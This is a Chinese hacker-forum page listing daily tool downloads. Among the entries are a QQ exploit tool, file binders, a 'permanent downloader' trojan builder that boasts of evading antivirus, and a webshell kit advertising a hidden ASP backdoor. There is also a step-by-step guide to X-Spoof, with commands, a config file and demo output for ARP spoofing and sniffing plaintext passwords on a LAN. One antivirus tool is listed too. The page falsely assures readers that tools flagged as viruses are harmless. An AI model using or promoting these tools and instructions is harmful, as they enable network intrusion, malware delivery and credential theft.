【08月17日】黑鹰红客基地每日软件更新
以下软件均来自
黑鹰红客基地.由于本站加了防盗连功能.所以请大家到连接中自行下载.很多黑客类软件很多都会被杀毒软件列为病毒.但软件本身对电脑没有任何损害.请大家放心使用.如果喜欢本网站请大家多帮忙转载宣传的话吧.
-------------------------------------------------------------------------------------------
[推荐]箫心SystemDetector V1.0
软件大小：951 K
软件语言：简体中文
运行环境：Win9x/NT/2000/XP/2003
软件类别：综合利用
软件说明：终于把目前发现的问题都做了修正，还做了一份详细的使用说明，需要的朋友们赶紧下载吧。剩下的内容安装后看里面的使用
帮助吧。
SystemDetector的创作初衷
2006年9月期间，一个叫威金的感染型下载者病毒爆发流行，在9月至11月其爆发期间，变种数量甚至可以达到最多每天近10个。紧
接着威金病毒之后又出现了臭名昭著的熊猫烧香病毒，以及陆陆续续的同种类的灯泡头像，金猪报喜，MY GOD下载者等等等一系列
换汤不换药的感染型下载者病毒，这类病毒都具有以下一些特点：
1. 短时间内会产生大量同源变种以此来逃过反病毒软件的追杀，并且变种速度要大大快于主流反病毒厂商通常的1到2天的响应速
度。通常是反病毒厂商刚刚发布新的病毒库升级包，变种又蹦出来了三五个。
2. 都具备一定的感染能力，虽然这种感染方式从技术层面看并不高明，但却足以让相当多的一部分用户无能为力。
3. 所有这些下载者病毒都无一例外的会下载大量的游戏盗号木马来盗取受害用户的网络游戏装备。
在解决这类病毒的过程中，出现了专杀工具优于反病毒软件的戏剧性效果，因此迫切需要有一款软件----既要具备专杀工具小巧灵
活的特性，又要具备专业反病毒软件所具有的病毒库可灵活扩充的特点，干脆再把hijackthis等工具的系统日志检测功能也加上，
再来个强大的手动修复系统功能，如果能免费就更好了。俺经过8个月的努力，终于设计出了SystemDetector：它具备一定的自动
清理病毒的功能，病毒库可升级，具备扫描系统日志功能，具备手动修复系统功能，具备免费功能。
这便是SystemDetector的创作初衷----不求天下无毒，但可以让更多的人可以更少的为计算机病毒而烦心
山东电信下载山东网通下载浙江电信下载河南网通下载河南电信下载-------------------------------------------------------------------------------------------
黑鹰QQ场景漏洞利用工具
软件大小：687 K
软件语言：简体中文
运行环境：Win9x/NT/2000/XP/2003
软件类别：综合利用
软件说明：黑鹰QQ场景漏洞利用工具
山东电信下载山东网通下载浙江电信下载河南网通下载河南电信下载-------------------------------------------------------------------------------------------
NG Binder Pro
软件大小：219 K
软件语言：简体中文
运行环境：Win9x/NT/2000/XP/2003
软件类别：综合利用
软件说明：NG Binder Pro
捆绑工具
山东电信下载山东网通下载浙江电信下载河南网通下载河南电信下载-------------------------------------------------------------------------------------------
SCD [binder] v1.0版
软件大小：128 K
软件语言：简体中文
运行环境：Win9x/NT/2000/XP/2003
软件类别：综合利用
软件说明：SCD [ binder ] v1.0，捆绑工具
山东电信下载山东网通下载浙江电信下载河南网通下载河南电信下载-------------------------------------------------------------------------------------------
永久下载者[070815]
软件大小：316 K
软件语言：简体中文
运行环境：Win9x/NT/2000/XP/2003
软件类别：综合利用
软件说明：软件名称：永久下载者
版本更新：070815
此版更新：考虑到有些人不使用“定时TXT循环”下载功能，从而浪费运行此程序电脑的系统资源，
所以加入“启用”按钮，默认为不启用，如想使用本功能点击“启用”按钮即可！
TXT读取使用方法：将txt上传到生成器上所填对应的地址，在txt中第一行，写入要下载程序的地址。
格式：“http://www.xxx.com/xxx.exe” 同一个连接只下载一次，更换新的才重下。
(不包括二边的双引号，顶格写，前面不能有空格)只可写在第一行，不可换行。
多项和定时下载，都具有延迟或定时下载功能，本程序已屏蔽大量杀软，如果首次下载不成功，
请重启电脑即可继续下载成功!
山东电信下载山东网通下载浙江电信下载河南网通下载河南电信下载-------------------------------------------------------------------------------------------
完美一句话集成 终结版
软件大小：203 K
软件语言：简体中文
运行环境：Win9x/NT/2000/XP/2003
软件类别：综合利用
软件说明：完美一句话集成 终结版
内置多种大马小马 最大的功能就是一软集成多种一句话控制端 能够更据不同情况改变使用条件。
还有就是发布了超级隐藏asp后门 不用像网上用一句话插入来打造不死的后们了
山东电信下载山东网通下载浙江电信下载河南网通下载河南电信下载-------------------------------------------------------------------------------------------
X-Spoof v1.3.3软件大小：721 K
软件语言：简体中文
运行环境：Win9x/NT/2000/XP/2003
软件类别：综合利用
软件说明：1、命令行参数
-l: 查看本机网络接口；
-f: 枚举局域网内所有机器的IP-MAC信息（需要配合"-i"参数设置正确的网络接口）；
-i <if_number>: 指定网络接口；
-p <pass_log_file> [smb_log_file]：嗅探FTP/HTTP/POP3/SMTP密码、TELNET会话内容并记录到pass_log_file。若指定了smb_log_file参数，将同时记录139/445端口的SMB/CIFS协议中与登录认证、共享资源访问相关的数据报至smb_log_file（兼容libpcap/tcpdump格式）；
-s: 开始ARP欺骗（需要配合"-i"参数设置正确的网络接口）；
-r: 恢复被欺骗主机的ARP表（需要配合"-i"参数设置正确的网络接口）；
-c <config_file>: 由配置文件读取默认服务端口及ARP欺骗列表，默认配置文件名为"xspoof.ini"）。
2、操作步骤
1) 使用"-l"参数查看本地网络接口；
2) 使用"-f"参数获得局域网内所有机器的IP-MAC信息；
3) 使用"-s"参数进行ARP欺骗，或同时使用"-p"参数嗅探密码。需要通过"-i"参数指定正确的网络接口和通过"-c"参数指定配置文件名。
4、配置文件各字段含义
#================================================
# 指定各服务默认端口(用于嗅探密码)
[SERVICE_PORT]
HTTP=80
FTP=21
SMTP=25
POP3=110
TELNET=23
#================================================
# "LOCAL_MAC"为本机MAC地址，其他为"SPOOF_LIST"字段
# 中各被欺骗主机的IP及MAC地址对应表(可由"-f"参数获得)
# 示例：
# LOCAL_MAC=00-0d-88-f0-e2-1e
# 192.168.0.1=02-0d-3a-26-49-b5
# 192.168.0.2=00-0a-eb-88-cc-8e
# 192.168.0.3=00-0d-88-f0-e2-1e
# 192.168.0.4=00-0b-b8-a0-32-0c
[MAC_LIST]
LOCAL_MAC=
#================================================
# ARP欺骗列表，每条规则为一条单向欺骗规则
# 假设A、B为局域网内正常机器，C为嗅探机器
# 原数据报路径为A->B，欺骗后路径为A->C->B
# 欲嗅探两台机器间的双向通讯数据，需要添加两条规则
# 示例：
# 1=192.168.0.1,192.168.0.2
# 2=192.168.0.2,192.168.0.1
# 3=192.168.0.3,192.168.0.4
# 4=192.168.0.4,192.168.0.3
[SPOOF_LIST]
以下为配置文件示例：
[SERVICE_PORT]
HTTP=80
FTP=21
SMTP=25
POP3=110
TELNET=23
[MAC_LIST]
LOCAL_MAC=00-0d-88-f0-e2-1e
192.168.100.119=00-0a-eb-88-cc-8e
192.168.100.254=02-0d-3a-26-49-b5
[SPOOF_LIST]
1=192.168.100.119,192.168.100.254
2=192.168.100.254,192.168.100.119
5、程序演示
命令1：xspoof -l
WinPCap version: 3, 1, 0, 24
1. \Device\NPF_GenericNdisWanAdapter (Generic NdisWan adapter)
2. \Device\NPF_{C198BDE0-2B71-465D-9340-54DB0C44BE83} (D-Link AirPlus Wireless Adapter)
Address Family: #2
Address Family Name: AF_INET
Address: 192.168.100.3
Netmask: 255.255.255.0
Broadcast Address: 255.255.255.255
3. \Device\NPF_{C915675D-0BD7-4E77-9F7B-1669CA4FF29F} (VMware Virtual Ethernet Adapter)
Address Family: #2
Address Family Name: AF_INET
Address: 192.168.236.1
Netmask: 255.255.255.0
Broadcast Address: 255.255.255.255
命令2：xspoof -f -i 2
WinPCap version: 3, 1, 0, 24
[LOCAL INFORMATION]
Link type: 0
Link speed: 54000000 b/s
Broadcast: 255.255.255.255
Subnet mask: 255.255.255.0
IP address: 192.168.100.3
MAC address: 00-0d-88-f0-e2-1e
[MAC LIST]
IP: 192.168.100.3 MAC: 00-0d-88-f0-e2-1e
IP: 192.168.100.119 MAC: 00-0a-eb-88-cc-8e
IP: 192.168.100.254 MAC: 02-0d-3a-26-49-b5
260 packets received, 0 packets lost.
命令3：xspoof -i 2 -s -p pass.log
Start sniffer thread succeed.
Listening on D-Link AirPlus Wireless Adapter...
Enable IP_ROUTER succeed.
192.168.100.119 -> M -> 192.168.100.254 ...
192.168.100.254 -> M -> 192.168.100.119 ...
Build arp packet complete, arp spoof started.
已经开始在192.168.100.119和192.168.100.254之间进行欺骗，使双方均认为192.168.100.3的MAC地址是对方的真实MAC地址，同时在192.168.100.3启动sniffer，对192.168.100.119和192.168.100.254之间传输的明文密码进行嗅探，结果保存在"pass.log"文件中。
命令4：xspoof -i 2 -r
WinPCap version: 3, 1, 0, 24
Send to 192.168.100.119: MAC of 192.168.100.254 is 02-0d-3a-26-49-b5
Send to 192.168.100.254: MAC of 192.168.100.119 is 00-0a-eb-88-cc-8e
Build arp packet complete.
Restore the arp table of target complete.
山东电信下载山东网通下载浙江电信下载河南网通下载河南电信下载-------------------------------------------------------------------------------------------
